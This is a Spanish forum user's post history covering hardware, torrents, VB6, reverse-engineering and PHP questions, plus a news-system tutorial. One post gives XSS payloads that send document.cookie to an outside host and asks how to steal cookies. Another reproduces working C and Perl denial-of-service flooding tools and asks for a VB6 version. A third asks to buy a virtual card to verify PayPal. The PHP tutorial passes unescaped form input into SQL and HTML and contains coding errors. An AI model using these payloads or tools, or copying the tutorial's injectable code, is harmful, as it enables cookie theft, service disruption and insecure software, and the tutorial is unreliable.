Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - -sagitari-

#1
Hardware / Problema tarjeta gráfica?
2 Agosto 2011, 15:12 PM
Hola,
Tengo un portátil Packard Bell Easynote SB89 con windows 7 que me funcionaba perfectamente y el otro día al encenderlo de repente me salía toda la pantalla mal. Resulta que no sé qué es lo que le sucede, si es problema de la tarjeta gráfica o qué.

Al darle a F8 no me sale para iniciar windows en modo seguro ni nada de eso, solamente puedo acceder como siempre y no puedo hacer nada porque apenas veo nada en la pantalla.

Aquí dejo fotos que le he hecho a ver si me podéis ayudar. Gracias de antemano.

http://imageshack.us/photo/my-images/846/dsc0280ih.jpg/
http://imageshack.us/photo/my-images/508/dsc0281yr.jpg/
http://imageshack.us/photo/my-images/29/dsc0282dj.jpg/

Y en el caso de que fuera algo de la tarjeta gráfica, no tengo ni idea de si viene implementada con el procesador, entonces tendría que sustituir el procesador por uno nuevo y me saldría más rentable comprarme otro PC, no?:S

Porque lo que sucede es que no sé qué es... si lo formateo sin más, ¿seguirá igual?

Cualquier respuesta será bienvenida, gracias de nuevo.
#2
Hola, tengo algunas dudas respecto conectar mi portátil a la televisión para ver la pantalla del portátil ahí (para ver pelis, simplemente), el cable que necesito, si me funcionará y tal... (para no tirar el dinero comprando un cable).

Mi televisión es bastante antigua, creo que la compramos hará 10años o casi, es este modelo:
JVC AV29A10EU


Y el portátil es Dell Vostro 1320

_______

La televisión tiene delante para enchufar un cable rojo, blanco y amarillo. Y entonces había pensado que este cable me podría servir:



Enchufaría el USB al portátil y el cable rojo, amarillo, blanco ahí donde se enchufan en la tele...

Así pues, mi duda es si ese cable me funcionaría correctamente??enchufaría el portátil a la tele mediante ese cable y vería la pantalla del portátil con sonido ahí en la TV?

Tengo una cámara de fotos que tiene un cable parecido a ese excepto el enchufe rojo y que no es USB sino con otro enchufe especial para la cam pero por lo demás es el mismo y veo los vídeos poniendo el canal E4, en el caso de portátil-TV sería lo mismo??enchufarlo y poner el canal E4 y ya está, saldría la pantalla del portátil?

Perdonad mi ignorancia, nunca he solido ver pelis ni nada x ordenador. Gracias de antemano!!
#3
Software / Utorrent extremadamente lento
28 Abril 2010, 17:24 PM
Ayer me descargué el utorrent y lo máximo que me ha alcanzado es 20kb/s  ;-) cuando en el Ares las descargas me van bastante bien y en general tengo una conexión normal.

A qué se debe?
ahora mismo me va a 0,9kb/s xdd yo flipo
Miré videotutoriales y modifiqué cosas para aumentar la velocidad pero al ver que no funcionaba lo puse todo como estaba si no me equivoco xd, algún otro software de torrents que sea bueno? bittorrent?

Es que soy novata en esto de los torrents, siempre he usado ares y emule y de este estilo, pero para descargar pelis, las del ares son de baja resolución, por eso estoy probando esto de descargar torrents...

salu2 y gracias de antemano  ;D
#4
hola
no entiendo porqué me habéis borrado el tema donde
preguntaba si había alguien que me pudiera vender una
tarjeta virtual (VCC) para poder verificar paypal

lo puse en foro libre,

no sé qué tiene que ver en contra las normas =S

contestad por favor,
salu2
#5
Multimedia / Extraer audio del vídeo
31 Mayo 2008, 12:30 PM
eisss,
alguien me hace el favor de ponerme la descarga
del audio de este vídeo:
http://www.youtube.com/watch?v=vTpuu1qQIPQ

solamente quiero el sonido..
no el vídeo!


GRACIAS
si alguien se toma la molestia!


pont aeri(L)  ;D ;D ;D pelatsss(L)(L)
jaja ::) ::)
#6
Hola,
me gustaría saber el motivo del bloqueo del tema:
http://foro.elhacker.net/php/pack_scripts_ptc_ppc_pts-t210629.0.html

salu2 y gracias.
#7
PHP / Pack scripts PTC, PPC, PTS..
1 Mayo 2008, 22:23 PM
eiss,
aquí os dejo el link para descargar un pack de scripts
de estas webs con las que se gana dinero ya sea por clicar anuncios,
rellenar formularios...

contiene los scripts de clones como adbux entre otros,

aquí el link:
http://rapidshare.com/files/111836412/Scriptsptc...rar.html

ale espero que os sirva,
salu2
#8
Multimedia / Sacar audio del vídeo
18 Marzo 2008, 19:50 PM
eis
es la segunda vez que pido este favor aquí en este foro,
se trata de sacar la música de este vídeo;
http://www.youtube.com/watch?v=TeLQZ_uk42s
extraerla
y que quede como archivo de sonido...

si alguien me lo puede hacer y subirmelo que me la descargo hoy mismo..
sería de gran ayuda y amabilidad!


porque en el ares lo tengo pero no se conecta para descargar
y la necesitaría hoy para ponérmela en el ipod-móvil
que me voy de viaje mañana xd y las horas en el coche
algo he de escuchar jaja

gracias de antemano  ;D
#9
Multimedia / Extraer audio del vídeo
12 Febrero 2008, 15:29 PM
hola..
parecerá que tengo la cara un poco dura.. jaja pero bueno:

es para preguntar si alguien me puede hacer el favor de extraer lo que es el sonido de este vídeo:

http://www.youtube.com/watch?v=tNme5ZwNJ9I

o sea guardar la música como archivo de sonido...
retirando lo que es el vídeo...

salu2.. y graciass  ::)
#10
buenas,

pues eso que voy a cambiar mi perfil, la firma y me he dado cuenta que en mi número de mensajes me han cambiado a 'leet' xd

na, me hace graciaa xD soy especial =$
aajja es coña

quién fue el mod que me puso esoo?  ::) ;D :-*

salu2!  ;D

-
edit: ahora ya me salen el número de mensajes xdd

igualmente quién me puso eso de leet? =P

salu2 de nuev-
#11
Nivel Web / [?] Duda XSS
29 Septiembre 2007, 12:51 PM
me borraron el anterior post donde pregunté esto.. fui a mirar las normas y lo único que incumplía era el no haber puesto el tag de duda "[?]" en el título así que vuelvo a preguntar:

en una web vulnerable de esta forma, "XSS in URI":

http://www.web.com/index.php/>"><script>alert(document.cookie)</script>

de esa manera aparece un alert diciendo la cookie
entonces, es vulnerable pero si pongo un alert diciendo hola por ejemplo, no funciona

http://www.web.com/index.php/>"><script>alert('hola')</script>

entonces,
si intento robar la cookie de esta manera:

http://www.web.com/index.php/>"><script>window.location='http://miweb.com/gcookie.php?c='+document.cookie;</script>


No funciona, no se guarda la cookie ni sucede nada.

entonces , ésto porqué es ? ... y cómo puedo hacer para poder robar la cookie..
gracias.
#12
PHP / [TUTORIAL]-Hacer un simple Sistema de Noticias
29 Diciembre 2006, 21:30 PM
- Pues como que me ha dado por aprender PHP... y pues estoy esperando pasandole una canción a una amiga por msn  ;D pues os voy a hacer aquí un tutorial de cómo hacer un simple sistema de noticias desde cero  :-*





[INTRODUCCIÓN]


  • El sistema de noticias que vamos a hacer va a ser MUY simple, es para aprender PHP simplemente y reforzar ideas.
  • El sistema de noticias que vamos a hacer hará uso de una base de datos, o sea que las noticias se guardarán en una base de datos MySQL


- El sistema de Noticias estará compuesto por únicamente dos archivos:


  • El formulario de envío de la noticia donde sale: "Título de la noticia" / "El texto de la noticia" / "Autor" y el botoncito de enviar para procesar la noticia.
    En este mismo archivo pondremos el código que hará que la noticia se guarde en la base de datos para que se muestre.
  • El archivo que mostrará las noticias que están guardadas en la base de datos.







[CREAR LA TABLA EN LA BASE DE DATOS DONDE SE GUARDARÁN LAS NOTICIAS]

- Para eso el host donde colgaremos/subiremos/pondremos nuestro sistema de noticias nos ha de proporcionar una base de datos, cabe recordar, que el sistema de noticias que vamos a hacer usa una base de datos.

- Por ejemplo gratishost (phoneacces.com) nos proporciona una base de datos.

- Yo os pondré el ejemplo de cómo crear una tabla en la base de datos partiendo desde un host que yo tengo suscrito en gratishost.






- Una vez ahí dentro de la base de datos, a la izquierda, buscamos este iconito:




- Y entonces, picamos ahí en ese iconito, que es para realizar una consulta SQL a través de la cual crearemos la tabla llamada noticias donde ahí se guardarán las noticias;




- El código que ponemos ahí para crear la tabla noticias es el siguiente:

create table `noticias` (
id int primary key auto_increment,
titulo varchar(255) not null,
noticia text not null,
autor varchar(255) not null,
fecha varchar(255) not null
);



- Lo explico:

create table `noticias` (
Crea una tabla con el nombre de noticias
/* esta tabla tendrá
5 campos */ --->

id int primary key auto_increment,
Crea un campo llamado id. El id es el número identificador, en este caso, el número que identificará cada noticia, y según si se crea una más, este número, va en incremento, aumenta.

titulo varchar(255) not null,
Crea un campo llamado titulo de tipo texto, el número de caracteres máximo permitido es de 255 y este campo, perfectamente puede estar vacío, ser "nulo".

noticia text not null,
Crea un campo llamado noticia que puede tener mucho texto, no hay límite de caracteres (si quieres ponerle, puedes).

autor varchar(255) not null,
Crea un campo llamado autor, el número de caracteres máximo permitido es de 255 y este campo, perfectamente puede estar vacío, ser "nulo".

fecha varchar(255) not null
Crea un campo llamado fecha, el número de caracteres máximo permitido es de 255 y este campo, perfectamente puede estar vacío, ser "nulo".

);
Fin de la consulta.

- Ok, ya tenemos la tabla noticias !!  ::)











[CREAR EL FORMULARIO PARA ENVIAR LAS NOTICIAS]

- Este formulario será un archivo llamado enviarnoticias.php.

- A este archivo se le tendría que poner protección un login o algo, para que si alguien , de casualidad descubriera este archivo para enviar las noticias, no pudiera enviar noticias así como si de su web se tratara.


- El formulario constará de:


  • Título de la noticia
  • Texto de la noticia
  • Autor

La fecha no la ponemos en el formulario porque la cogeremos directamente usando la función time() a la hora de ingresar la noticia en la base de datos.

- El código del formulario sería así:

<form action="enviarnoticias.php" method="POST">

Título de la noticia:<br>
<input type="text" name="titulo"><br>
<br>

Texto de la noticia:<br>
<textarea name="noticia"></textarea><br>
<br>

Autor:<br>
<input type="text" name="autor"><br>
<br>

<input type="submit" name="enviar" value="Enviar la noticia!">
</form>



- Y quedaría así en la web:



Precioso, ¿verdad?  ::) :P

Bueno, pues a ver, en este mismo archivo del formulario (enviarnoticias.php) hemos de poner el código "mágico"  :D que hará que la noticia se envíe a la base de datos.


- Sería este el código:

Citar<?
if (isset($_POST['enviar'])) {
/* Tenemos que comprobar que el botoncito ha sido clickado */

   
if (!empty($_POST['titulo']) && !empty($_POST['noticia']) && !empty($_POST['autor'])) {
/* Hemos de comprobar que todos los campos estén rellenos para poder procesar la noticia, si estuviera alguno vacío no se enviaría y saldría "Rellena todos los campos!" */

   

$sql = "INSERT INTO `noticias` (titulo,noticia,autor,fecha) values";
/* definimos esas variables de la tabla para que correspondan con las del formulario que son las mismas... */

   

$sql.= "('".$_POST['titulo']."','".$_POST['noticia']."','autor','".time()."')"; /* este código recogerá los datos de los campos del formulario y los insertará en la base de datos */
   

if (mysql_query($sql)) {
/*si la conexión se ha efectuado sale que se ha enviado la noticia satisfactoriamente */

echo "La noticia se ha enviado satisfactoriamente.";

/* de lo contrario, si no se efectuara la conexión con la base de datos saldría "Error al enviar la noticia"   
} else {
echo "Error al enviar la noticia.";
}

   
/*en el caso de que faltaran campos por completar en el formulario... */
} else {
   
echo "Rellena todos los campos!!";
}
} else {}
?>



- El código por ahora quedaría así:

Citar<?
if (isset($_POST['enviar'])) {
/* Tenemos que comprobar que el botoncito ha sido clickado */

   
if (!empty($_POST['titulo']) && !empty($_POST['noticia']) && !empty($_POST['autor'])) {
/* Hemos de comprobar que todos los campos estén rellenos para poder procesar la noticia, si estuviera alguno vacío no se enviaría y saldría "Rellena todos los campos!" */

   

$sql = "INSERT INTO `noticias` (titulo,noticia,autor,fecha) values";
/* definimos esas variables de la tabla para que correspondan con las del formulario que son las mismas... */

   

$sql.= "('".$_POST['titulo']."','".$_POST['noticia']."','autor','".time()."')"; /* este código recogerá los datos de los campos del formulario y los insertará en la base de datos */
   

if (mysql_query($sql)) {
/* si la conexión se ha efectuado sale que se ha enviado la noticia satisfactoriamente */

echo "La noticia se ha enviado satisfactoriamente.";

/* de lo contrario, si no se efectuara la conexión con la base de datos saldría "Error al enviar la noticia"   
} else {
echo "Error al enviar la noticia.";
}

   
/*en el caso de que faltaran campos por completar en el formulario... */
} else {
   
echo "Rellena todos los campos!!";
}
mysql_close($sql);
?>
<form action="enviarnoticias.php" method="POST">

Título de la noticia:<br>
<input type="text" name="titulo"><br>
<br>

Texto de la noticia:<br>
<textarea name="noticia"></textarea><br>
<br>

Autor:<br>
<input type="text" name="autor"><br>
<br>

<input type="submit" name="enviar" value="Enviar la noticia!">
</form>
<? } ?>


Pero está claro que en ningún momento hemos puesto los datos de la base de datos, entonces, cómo pretendemos conectarnos?!!!
>:( >:( :huh: :huh: :-* :-X



Es por eso que tenemos que poner los datos de la base de datos, user, pass, nombre db, host.
es por eso que entonces,
el código final de noticiasenviar.php es este (con el código de la conexión a la base de datos añadido al principio):

Citar<?
$dbhost = "localhost"; /* Has de poner el host de la db, en nuestro caso, en gratishost es localhost, ahí en los datos de nuestra cuenta salía , siempre en los datosde la cuenta del hosting, te proporcoinan estos datos */

$dbuser = "userdeladb"; /* el usuario para acceder a la base de datos */

$dbpass = "passdeladb"; /* la contraseña correspondiente al usuario para poder acceder a la base de datos */

$db = "nombredeladb" ; /* el nombre de la base de datos en nuestro caso , era: db_nombrehost_webspacemania_com , pero siempre lo podrás ver en los datos de la cuenta al igual que el usuario, password y host */

$conectar = mysql_connect($dbhost,$dbuser,$dbpass); mysql_select_db($db,$conectar);
/* se realiza la conexión con los datos obtenidos, para eso usamos la función sql mysql_connect() */

?>

<?

if (isset($_POST['enviar'])) {
/* Tenemos que comprobar que el botoncito ha sido clickado */

   
if (!empty($_POST['titulo']) && !empty($_POST['noticia']) && !empty($_POST['autor'])) {
/* Hemos de comprobar que todos los campos estén rellenos para poder procesar la noticia, si estuviera alguno vacío no se enviaría y saldría "Rellena todos los campos!" */



$sql = "INSERT INTO `noticias` (titulo,noticia,autor,fecha) values";
/* definimos esas variables de la tabla para que correspondan con las del formulario que son las mismas... */

   

$sql.= "('".$_POST['titulo']."','".$_POST['noticia']."','autor','".time()."')"; /* este código recogerá los datos de los campos del formulario y los insertará en la base de datos */
   

if (mysql_query($sql)) {
/* si la conexión se ha efectuado sale que se ha enviado la noticia satisfactoriamente */

echo "La noticia se ha enviado satisfactoriamente.";

/* de lo contrario, si no se efectuara la conexión con la base de datos saldría "Error al enviar la noticia"   
} else {
echo "Error al enviar la noticia.";
}

   
/*en el caso de que faltaran campos por completar en el formulario... */
} else {
   
echo "Rellena todos los campos!!";
}
mysql_close($sql);
?>
<form action="enviarnoticias.php" method="POST">

Título de la noticia:<br>
<input type="text" name="titulo"><br>
<br>

Texto de la noticia:<br>
<textarea name="noticia"></textarea><br>
<br>

Autor:<br>
<input type="text" name="autor"><br>
<br>

<input type="submit" name="enviar" value="Enviar la noticia!">
</form>












[CREAR LA PÁGINA DONDE SE MOSTRARÁN LAS NOTICIAS]

- A este archivo que muestre las noticias lo llamaremos noticias.php

- Simplemente hemos de crear un archivo con un código que nos muestre lo que hay en la tabla noticias de nuestra base de datos de manera limpia y ordenada...


  • Se extraen los datos de la base de datos
  • Se procesan dichos datos
  • Se muestran los datos

- Lo que haremos será que las noticias se muestren por orden de la más reciente, arriba, entonces, ¿cómo lo haremos?
Pues como bien recordaréis, a cada noticia se le da un número identificador, entonces, el número más grande va el primero y el ID 1 esta noticia, la primera, irá abajo del todo, o sea, lo haríamos de la siguiente manera con este código:

Citar$query = @mysql_query("SELECT * FROM `noticias` ORDER BY `id` DESC");
véis, si os dais cuenta, ORDER BY 'id'
ahí es donde decimos que las muestre según el id.

Entonces, también se ha de comprobar si hay alguna noticia publicada para que en el caso de que no la haya, saliera "No hay noticias" para que no se quedara en blanco...

Y también, para que se mostraran las noticias, tenemos que hacer un bucle usando la función while() (mientras...)



- Entonces el código de noticias.php
sería algo así:

<?
$query = @mysql_query("SELECT * FROM `noticias` ORDER BY `id` DESC");
/* se ordenan según el id, explicado arriba */

if (@mysql_num_rows($query)) {
/* miramos a ver si hay algo publicado o no.... */



while ($noticia = @mysql_fetch_array($query)) {
/* para que se muestren las noticias una por una */





echo '<br> /* salto de línea */

/* sale el título de la noticia que
pusimos en el formulario */

<center><font face=verdana size=1 color=red><b>'.$noticia['titulo'].'</b></font><center><br><br>


/* sale todo el texto de la noticia
que pusimos en el
formulario */

<center><font face=verdana size=1><b>'.$noticia['noticia'].'</b></font><br><br>


/* Aquí se muestra que la noticia ha sido enviada por tal persona, y la fecha, pues sale la fecha en la que se ha enviado... */

<center><font face=verdana size=1 color=blue><b>Noticia enviada por '.$noticia['autor'].' || Fecha: '.$noticia</b></font>['fecha'].'</center><br>

<hr>';
}
} else {
echo "No hay noticias!!";
/* antes comprobamos para que mirara si hay noticias, pues esto es lo que saldría si no hubiera */
}
@mysql_free_result($noticia);
mysql_close($noticia);
?>



Y bueno, esto es todo !!   ::)
Espero que hayáis aprendido algo... yo sí... jeje  ;D
::)

Decidme si he puesto algo mal sobretodo porque no he prestado mucha atención a la hora de escribir los códigos >.<
#13
PHP / Único voto en una encuesta mediante IP [PHP]
4 Noviembre 2006, 13:00 PM
Hola,

Apenas me voy iniciando en el PHP aunque anteriormente ya había echado mano del PHP, pero la mayoría de veces, haciendo copy/paste sin intención alguna de aprender php...

Bueno, me he bajado una encuesta muy simple (que se guardan los votos en un txt; votos.txt).

Y quiero hacer que solamente una ip pueda hacer un único voto,
me da igual que sea más efectivo que si cookies, que si hacer un sistema de usuarios.... pues yo lo quiero hacer mediante la obtención de la ip.

He probado varias cosas y sin resultado alguno... lo último que he probado ha sido esto:



<?php

$log 
fopen("ip.txt""a");

$ip  $_SERVER['REMOTE_ADDR'];

fwrite($log"".$ip."\n"); 


if (
eregi($ip,$log)) {

echo 
"No puedes volver a votar, ya has votado anteriormente\n";

}

else {


include 
"configuracion.php";

function 
agregaVotacion($voto) { //funcion para agregar el voto
global $archivo;
$leer_votacion fopen($archivo"r");
$tu_voto fread($leer_votacionfilesize($archivo));
fclose($leer_votacion);
$votos split('[|:]'$tu_voto);
for ($i 1$i count($votos); $i $i 2) {
$nombre $i 1;
if ($votos[$nombre] == $voto) {
$votos[$i]++;
}

if ($i == (count($votos) - 1)) {
$act_Voto .= $votos[$nombre] . ":" $votos[$i];
}
else {
$act_Voto .= $votos[$nombre] . ":" $votos[$i] . "|";
}
}

$escribe_archivo fopen($archivo"w");
fputs($escribe_archivo$act_Voto);
fclose($escribe_archivo);
}


function 
mostrar($msgs) { //funcion para mostrar la votación y sus resultados
global $titulo$archivo;

echo "<html>";
echo "<head>";
echo "<title>Resultados</title>";

global $clscr;
echo "</head>";
echo "<body>";


echo "<font face='Tahoma' size='2'>";
$leer_votacion fopen($archivo"r");
$tu_voto fread($leer_votacionfilesize($archivo));
fclose($leer_votacion);
$votos split('[|:]'$tu_voto);
echo "<u><b>Resultados</b></u><br>";

for ($i 1$i count($votos); $i $i 2)
{
$total_votos += $votos[$i];
}

for ($i 1$i count($votos); $i $i 2) {
$nombre $i 1;
if ($total_votos == 0) {
$porcnt 0;
}
else {
$porcnt $votos[$i] / $total_votos 100;
$porcnt round($porcnt1);
}

echo "<br>";
echo "\t$votos[$nombre] -> ";
echo "\t<b>$votos[$i]</b> votos <br>";


if ($porcnt == 0) {
echo "\t<img src=barra.jpg width=$porcnt height=15> <br><b>$porcnt%</b>";
}


else {
echo "\t<img src=barra.jpg width=$porcnt height=15> <br><b>$porcnt%</b> <br>";
}


echo "<br>";
}
echo "Total Votos: <b>$total_votos</b><br>";
if($clscr==1)
{
echo "<a href=javascript:window.close();>Cerrar</a>";
}
else
{
echo "<a href=javascript:history.back(-1);>Volver</a>";
}

if (isset($msgs)) {
echo "$msgs";
}
 
echo "<br>";
echo "</body>";
echo "</html>";
}

if (!isset(
$voto)) {
mostrar("");
exit;
}

agregaVotacion($voto);
mostrar("");

}


?>






Pues resulta que se guarda la ip del votante en ip.txt pero aunque vuelva a votar y la ip sea existente en el ip.txt deja votar las veces que quiera aunque esté la misma ip en ip.txt varias veces...
He probado ya muchas cosas... de alterar los factores de orden... pero no encuentro resultado...

Citar$log = fopen("ip.txt", "a");

$ip  = $_SERVER['REMOTE_ADDR'];

fwrite($log, "".$ip."\n");


if (eregi($ip,$log)) {

echo "No puedes volver a votar, ya has votado anteriormente\n";

}

else {

Con este trozo de código lo que pretendo es:

$log = fopen("ip.txt", "a");
se abre el ip.txt

$ip  = $_SERVER['REMOTE_ADDR'];
indicar que la variable ip almacena la dirección ip del votante

fwrite($log, "".$ip."\n");
se escribe la ip en ip.txt

if (eregi($ip,$log)) {
Aquí echo mano a la función eregi
http://es.php.net/eregi
/ Si la ip del votante está en ip.txt ...

echo "No puedes volver a votar, ya has votado anteriormente\n";
Aparece el mensaje de que no puede volver a votar...

else { ............. }
Y en el caso de que la ip del votante no esté en ip.txt deja votar...


Pero no me funciona.. si me podéis echar un cable.. seguro que tengo algo mal, pero la verdad es que he probado cambiando muchas cosas y siempre no me funciona...

O deja votar siempre sin salir el echo en ningú momento (el caso del código que os he copiado)
O siempre sale el echo dejando votar siempre
O siempre sale el echo sin dejar votar nunca
...


Venga, gracias de antemano ;)
#14
Pues que no sé muy bien aún cómo hacer para que en un programa, que hay un botón cada x segundo se clickee dos veces el botón (sin tener que hacerlo yo)...


Si me podéis echar un cable...
#15
Multimedia / [AYUDA]Macromedia Captivate
18 Abril 2006, 23:03 PM
¿Cómo puedo hacer para guardar una grabación con extensión de flash? es decir, como flash?

Porque me sale solamente cuando pico en guardar:

como...

captivate movies (*.cp)
captivate templates (*.cptl)
#16
 :-X
Estoy haciendo un programa para escuchar desde éste la radio de una web, para no tener que acceder a la web. Entonces, para que salga el status; estado de la radio... No lo tengo muy claro... había pensado esta forma:

1. poner un winsock
2. en las propiedades del winsock (en las propiedades que sale a la derecha) he puesto remoteip la ip de la radio, y remoteport, el puerto de la radio... y entonces, en el código del proyect he puesto que cuando el winsock conecte en el label1 salga (caption) ONLINE
y que cuando no conecte salga
offline

pero resulta que no sale nada... y me da a pensar que no conecta el winsock....... :S porque no sé muy bien cómo establecer la conexión, simplemente he puesto los "detalles" de la conexión a la derecha en las propiedades del winsock como bien os dije antes....

... Mi problema es que en el label no sale ni online ni offline...    :(

#17
Cuando creo un proyecto con pestañas;

( Project/components/Microsoft Windows Common Controls 6.0 SP6 )

MSCOMCTL.OCX

al guardar el proyecto, luego cuando lo abro,  no salen las pestañas
sale como en esta imagen:



y en el log del form1 sale esto:

Line 13: Class MSComctlLib.TabStrip of control TabStrip1 was not a loaded control class.
Line 19: The property name _ExtentX in TabStrip1 is invalid.
Line 20: The property name _ExtentY in TabStrip1 is invalid.
Line 21: The property name _Version in TabStrip1 is invalid.
Line 27: The property name Tabs in TabStrip1 is invalid.


[ es la primera vez que uso las pestañas ]

me gustaría que me dijérais como hacer para que al abrir el proyecto guardado salieran las pestañas.  ::)
#18
Bueno he visto que hay varios temas que hacen referencia a lo que yo voy a explicar pero veo que nadie se entera...

Ok, voy a hacer como un "tutorial"  ;D





Ok, mirad por ejemplo tenemos una duda que creemos que va a ser mejor hacer un "pantallazo" "captura" o "imágen de nuestro pc" pues para capturar la pantalla de nuestro pc hay que pulsar una tecla llamada

Impr Pant PetSis

¿Dónde se encuentra esa tecla?
Pues se encuentra arriba de la tecla insert, si tenéis un postátil y el portátil no tiene esa tecla...

SOLUCIÓN: Hacer lo de "teclado en pantalla"

Ok, entonces si pulsamos la tecla impr pant petsis capturará la pantalla de nuestro pc entonces vamos al paint y hacemos:

control + v


ó

Edición/Pegar

Ok, entonces veréis que sale vuestra pantalla! perfe... ahi podéis expresar mejor vuestra duda... haciendo un círculo a "algo" poniendo comentarios...

entonces... cómo énseñar al querido púbilco de este foro vuestra imágen?...

1. Abriis el navegador
2. Entráis a www.imageshack.us
3. Una vez dentro de imageshack.us
picas en examinar tal y como muestra la imágen:



4. Una vez escogido el archivo a subir picas en:

Host it!



5. Se va cargando...
5. Una vez cargado te dan muchos links pues tú escoge el último !
Tal y como muestra la imágen:



Entonces una vez copiada esa url viene aqui al foro y en la respuesta que ibas a poner pones:

[IMG]aki la url copiada[/IMG]

Y entonces te saldrá la imágen! ;P guay, no? xD



Esto lo puedes hacer para poner aquí en el foro pantallazos y todo tipo de imágenes :D

Pero si por ejemplo hay una web que tiene una imágen que te gusta mucho y te da "palo"="pereza"="gosera" guardártela y subirla pues le das con el botón derecho a Propiedades y miras la url de la imágen la copias y haces el mismo proceso:

[IMG]aki la direccion[/IMG]


AlÉ ! que os cunda ! y no volvais a preguntar lo mismo mil veces...  ;D


#19
Mirad, mi duda es la siguiente:



Pero yo lo quiero modificar sobretodo para poder ver el code de cabecera entero y entonces, poder seguir cn mi proyecto... saludos  ;)
#20
Ingeniería Inversa / Duda Language 2000
2 Octubre 2005, 14:50 PM
Bueeeno, mirad, en el language, pongo que me abra una aplicación, todo perfe, entonces, pongo view y entonces intento ver MÁS O MENOS el code, porque sé que no es tan fácil sacar todo el code fuente de un programa hecho en VB6, pero mirad lo que me saca:

http://foros-sd.gratishost.com/des/ja.txt

[nota: lo he subido porque ponerlo aqui en el foro, no me dejaba, decía que excedía el tamaño]

Ok, me podéis orientar más o menos sobre qué provecho le puedo sacar a todo eso? exceptuando que se ha hecho servir winsock?

Saludos !  ;)
#21
Ingeniería Inversa / Ayuda Numega SmartCheck
2 Octubre 2005, 14:18 PM
Lo que yo quiero hacer es ver un "poco" el código fuente de VB6 de una aplicación, sé que no "existe" el programa que te de el código fuente entero ni nada de eso, yo más que nada, quiero orientarme, bueno, asi pues...

Tengo dudas con el SmartCheck porque no lo entiendo básicamente...


En el smartcheck, ¿dónde puedo ver más o menos el código que me ofrece?, Aqui una captura:[/font]



Saludos, me pongo que notifique
#22
Programación Visual Basic / DoS Killer en VB6
26 Septiembre 2005, 20:56 PM
Bueno... con "DoS Killer" me refiero a una aplicación que hace DoS a una web determinada...
Siempre he tenido la intriga y curiosidad d hacerme una aplicación que haga DoS jejeje...
Pero siempre que busco por internet me lleva a links que ponen que delphi, perl, c es mejor que no vb y que tal y tal... pero no!! Yo busco en VB6
...

Me ha quedado MUY claro lo siguiente:

Citarcrear una matriz de sockets, y crear un bucle
e ir cargando cada socket y conectar a la web para realizar la
correspondiente petición

xD... pero no lo se poner en práctica... jejeje

Mirad, tengo los codes para hacer este tipo de programas, pero los tengo en C y perl, los posteo por si a alguien le interesa...


C
/*DoS Killer v2.0 - by Lympex

Prueba de concepto sobre conexiones de sockets en C.

Nota: Se le pueden añadir threads para realizar un ataque más fuerte.

Contacto: lympex[at]gmail[dot]com && http://l-bytes.tk
*/
#include <winsock.h>//sockets
#include <stdio.h>//i/o
#include <string.h>//strings

/*---*/
SOCKET s;/*el socket*/
/*estructuras*/
WSADATA wsa;
SOCKADDR_IN sin;
/*---*/

void main(int argc, char *argv[])
{
int Crea_Socket_Cliente(char *Ip, short int Puerto);//para crear el socket
char *HostIp(char *Host);//devuelve la Ip a partir del HOST

//para las repeticiones
unsigned int i,k;
//para el intervalo
unsigned int interval;
//para la información a enviar
char *buf;

if(argc!=6)
{
printf("\nDoS Killer v2.0 - by Lympex");
printf("\nPrueba de concepto de sockets en C");
printf("\n----------------------------------\n");
printf("\n[+] %s <host> <puerto> <string> <repeticiones> <intervalo(ms)>\n",argv[0]);
return;
}

/*cojemos los datos*/
i=atoi(argv[4]);
interval=atoi(argv[5]);

printf("\n[+] Creando la conexion...");
/*CREAMOS EL SOCKET*/
if(Crea_Socket_Cliente(HostIp(argv[1]),atoi(argv[2]))==1)
{
printf("\nError al crear el socket\n");
WSACleanup();
return;
}
printf("OK");

printf("\n[+] Conectando...");
/*CONECTAMOS SEGÚN LOS DATOS QUE NOS HAN DADO*/
if(connect(s,(LPSOCKADDR)&sin,sizeof(sin))==SOCKET_ERROR)
{
printf("\n[!] Error al conectar\n");

WSACleanup();
return;
}
printf("OK");

//creamos la string a enviar
buf=(char *) malloc(strlen(argv[3])*sizeof(char));
strcpy(buf,argv[3]);strcat(buf,"\n");

printf("\n[+] Realizando ataque DoS: ");
if(i==0)
{
for(;;)
{
if(send(s,buf,strlen(buf),0)==SOCKET_ERROR)
{
WSACleanup();
printf("OK\n");
return;
}else{
printf(".");
Sleep(interval);
}
}
}else{
//creamos el bucle para enviar los datos
for(k=0;k<i;k++)
{
if(send(s,buf,strlen(buf),0)==SOCKET_ERROR)
{
WSACleanup();
printf("OK\n");
return;
}else{
printf(".");
Sleep(interval);
}
}
}

printf("OK\n");

//salimos
WSACleanup();
return;
}

int Crea_Socket_Cliente(char *Ip, short int Puerto)
{
//iniciamos la librería socket
WSAStartup(MAKEWORD(1,1),&wsa);
//creamos el socket
s=socket(AF_INET,SOCK_STREAM,0);
if(s==INVALID_SOCKET)
{
return 1;
}

//asignamos los datos
sin.sin_family=AF_INET;
sin.sin_port=htons(Puerto);
sin.sin_addr.s_addr=inet_addr(Ip);

return 0;
}

/*FUNCIÓN QUE INDICA LA IP A PARTIR DEL HOST*/
char *HostIp(char *Host)
{
   WSADATA wsaData;
   struct hostent *Dire;

   /*creamos el socket y cogemos el hostname*/
   if(WSAStartup(MAKEWORD(1, 1), &wsaData)!=0 || (Dire=gethostbyname(Host))==NULL)
   {
   return NULL;
   }

   /*devolvemos la ip*/
   return inet_ntoa(*((struct in_addr *)Dire->h_addr));
}



PERL
#DoS Killer 1.0 - by Lympex
#
#Prueba de concepto de cómo realizar ataques DoS en Perl
#
#Contacto: lympex[at]gmail[dot]com && http://l-bytes.tk
#

if(@ARGV!=4)
{
print "\nDoS Killer 1.0 - by Lympex | http://l-bytes.tk";
print "\n----------------------------------------------\n";
print "\n[+] Uso: DoSKiller.pl <servidor> <puerto> <string> <veces>";
exit;
}

#los datos
my $host=@ARGV[0];
my $puerto=@ARGV[1];
my $cadena=@ARGV[2];
my $veces=@ARGV[3];
#el socket
use IO::Socket;

print "\nDoS Killer 1.0 - by Lympex | http://l-bytes.tk";
print "\n----------------------------------------------\n\n[+] Conectando...\n";

my $sock = new IO::Socket::INET (
                                 PeerAddr => "$host",
                                 PeerPort => "$puerto",
                                 Proto => "tcp",
                                );
die "[!] Error al conectar\n" unless $sock;

#creamos el bucle para enviar los datos

print "[+] Realizando ataque DoS...";

if($veces==0)
{
for(;;)
{
print $sock "$cadena\n";
print ".";
}
}else{
for($i=0;$i<$veces;$i++)
{
